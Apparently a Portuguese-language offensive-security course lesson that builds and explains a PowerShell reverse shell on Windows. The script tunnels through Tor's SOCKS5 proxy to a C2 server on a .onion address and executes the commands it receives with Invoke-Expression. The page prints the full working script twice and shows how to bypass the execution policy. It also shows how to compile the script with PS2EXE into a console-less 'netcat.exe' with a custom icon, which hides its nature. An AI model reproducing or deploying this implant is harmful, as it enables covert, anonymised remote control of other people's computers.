Aula 128 | Windows e C2 via Tor

Aula 128 | Windows e C2 via Tor

Neste vídeo, mostrei como preparamos uma máquina virtual com Windows 11 e conectamos ela a um servidor de C2 (Command & Control) oculto na rede Tor, utilizando um script PowerShell customizado e o cliente tor.exe.

Ao invés de usar ferramentas tradicionais como Netcat ou Bash reverse shells, que geralmente são comuns em ambientes Linux, usamos PowerShell — que, por padrão, não possui uma forma nativa de se comunicar com serviços SOCKS5 (como os oferecidos pelo Tor). Por isso, é necessário criar a conexão manualmente via sockets.

Antes de rodar o script .ps1, usamos o seguinte comando para permitir sua execução temporária:

Set-ExecutionPolicy Bypass -Scope Process

Explicação do Script PowerShell:

# ========== CONFIG ==========
$torProxy = "127.0.0.1"      # IP local onde o Tor está escutando
$torPort = 9050              # Porta padrão do SOCKS5 no Tor
$onionHost = "seuc2.onion"   # Endereço do seu servidor C2
$onionPort = 4444            # Porta de escuta do C2

Esse bloco define os parâmetros da conexão com a rede Tor e o endereço do C2.

Start-Sleep -Seconds 5

Pausa de 5 segundos — útil pra dar tempo ao Tor de inicializar.

# ========== CONEXÃO VIA SOCKS5 ==========
$client = New-Object System.Net.Sockets.TcpClient
$client.Connect($torProxy, $torPort)
$stream = $client.GetStream()

Cria um cliente TCP que conecta ao proxy SOCKS5 do Tor.

$stream.Write([byte[]](0x05, 0x01, 0x00), 0, 3)
$buffer = New-Object Byte[] 2
$stream.Read($buffer, 0, 2) | Out-Null
if ($buffer[1] -ne 0x00) { $stream.Close(); exit }

Faz o handshake SOCKS5, pedindo conexão sem autenticação. Se falhar, encerra o script.

$hostBytes = [System.Text.Encoding]::ASCII.GetBytes($onionHost)
$portHigh = [math]::Floor($onionPort / 256)
$portLow = $onionPort % 256
$portBytes = [byte[]]($portHigh, $portLow)
$request = [byte[]](0x05, 0x01, 0x00, 0x03, $hostBytes.Length) + $hostBytes + $portBytes
$stream.Write($request, 0, $request.Length)
$response = New-Object Byte[] 10
$stream.Read($response, 0, 10) | Out-Null
if ($response[1] -ne 0x00) { $stream.Close(); exit }

Esse trecho monta e envia a requisição SOCKS5 para o endereço .onion. Ele codifica o hostname e a porta do C2, e checa se a conexão foi aceita.

$writer = New-Object System.IO.StreamWriter($stream)
$reader = New-Object System.IO.StreamReader($stream)
$writer.AutoFlush = $true

Prepara os objetos para ler e escrever dados através do socket.

while ($true) {
    try {
        $command = $reader.ReadLine()
        if ([string]::IsNullOrEmpty($command)) { break }
        $output = Invoke-Expression $command 2>&1 | Out-String
        $output = $output.Trim() + "`nPS " + (Get-Location) + "> "
        $writer.WriteLine($output)
    } catch {
        $writer.WriteLine("Erro: $_")
    }
}

Aqui é onde o PowerShell vira um shell reverso funcional:

  • Lê comandos enviados pelo C2

  • Executa eles localmente com Invoke-Expression

  • Envia de volta a saída do comando

Diferente de Netcat e Bash:

  • Netcat é simples: conecta e executa /bin/bash diretamente — isso não existe no Windows.

  • Bash é para Linux; no Windows, temos PowerShell.

  • Aqui, temos que manualmente montar a conexão SOCKS5, coisa que ferramentas como Netcat ou curl já fazem sozinhas em outros sistemas.

# ========== CONFIG ==========
$torProxy = "127.0.0.1"
$torPort = 9050
$onionHost = "seuc2.onion"  # <-- substitua aqui
$onionPort = 4444

Start-Sleep -Seconds 5

# ========== CONEXÃO VIA SOCKS5 ==========
$client = New-Object System.Net.Sockets.TcpClient
$client.Connect($torProxy, $torPort)
$stream = $client.GetStream()

$stream.Write([byte[]](0x05, 0x01, 0x00), 0, 3)
$buffer = New-Object Byte[] 2
$stream.Read($buffer, 0, 2) | Out-Null
if ($buffer[1] -ne 0x00) { $stream.Close(); exit }

$hostBytes = [System.Text.Encoding]::ASCII.GetBytes($onionHost)
$portHigh = [math]::Floor($onionPort / 256)
$portLow = $onionPort % 256
$portBytes = [byte[]]($portHigh, $portLow)
$request = [byte[]](0x05, 0x01, 0x00, 0x03, $hostBytes.Length) + $hostBytes + $portBytes
$stream.Write($request, 0, $request.Length)
$response = New-Object Byte[] 10
$stream.Read($response, 0, 10) | Out-Null
if ($response[1] -ne 0x00) { $stream.Close(); exit }

$writer = New-Object System.IO.StreamWriter($stream)
$reader = New-Object System.IO.StreamReader($stream)
$writer.AutoFlush = $true

while ($true) {
    try {
        $command = $reader.ReadLine()
        if ([string]::IsNullOrEmpty($command)) { break }
        $output = Invoke-Expression $command 2>&1 | Out-String
        $output = $output.Trim() + "`nPS " + (Get-Location) + "> "
        $writer.WriteLine($output)
    } catch {
        $writer.WriteLine("Erro: $_")
    }
}

E depois, convertendo o script .ps1 para um executável .exe com ícone personalizado, usamos o módulo PS2EXE, que está disponível no GitHub:

Repositório GitHub: https://github.com/MScholtes/PS2EXE

Import-Module ".\ps2exe\PS2EXE-master\Module\ps2exe.psm1"
Invoke-ps2exe -inputFile "C:\Users\NetCat121\Downloads\connect-tor.ps1" -outputFile "C:\Users\NetCat121\Downloads\netcat.exe" -noConsole -iconFile "C:\Users\NetCat121\Downloads\netcat.ico"

 

Sugestões de Aulas

Aula 129 | Windows .EXE e C2

Ver Aula

Aula 127 | MacOS e C2 via tor

Ver Aula

CONCEITOS BÁSICOS DE REDE /Aula 2

Ver Aula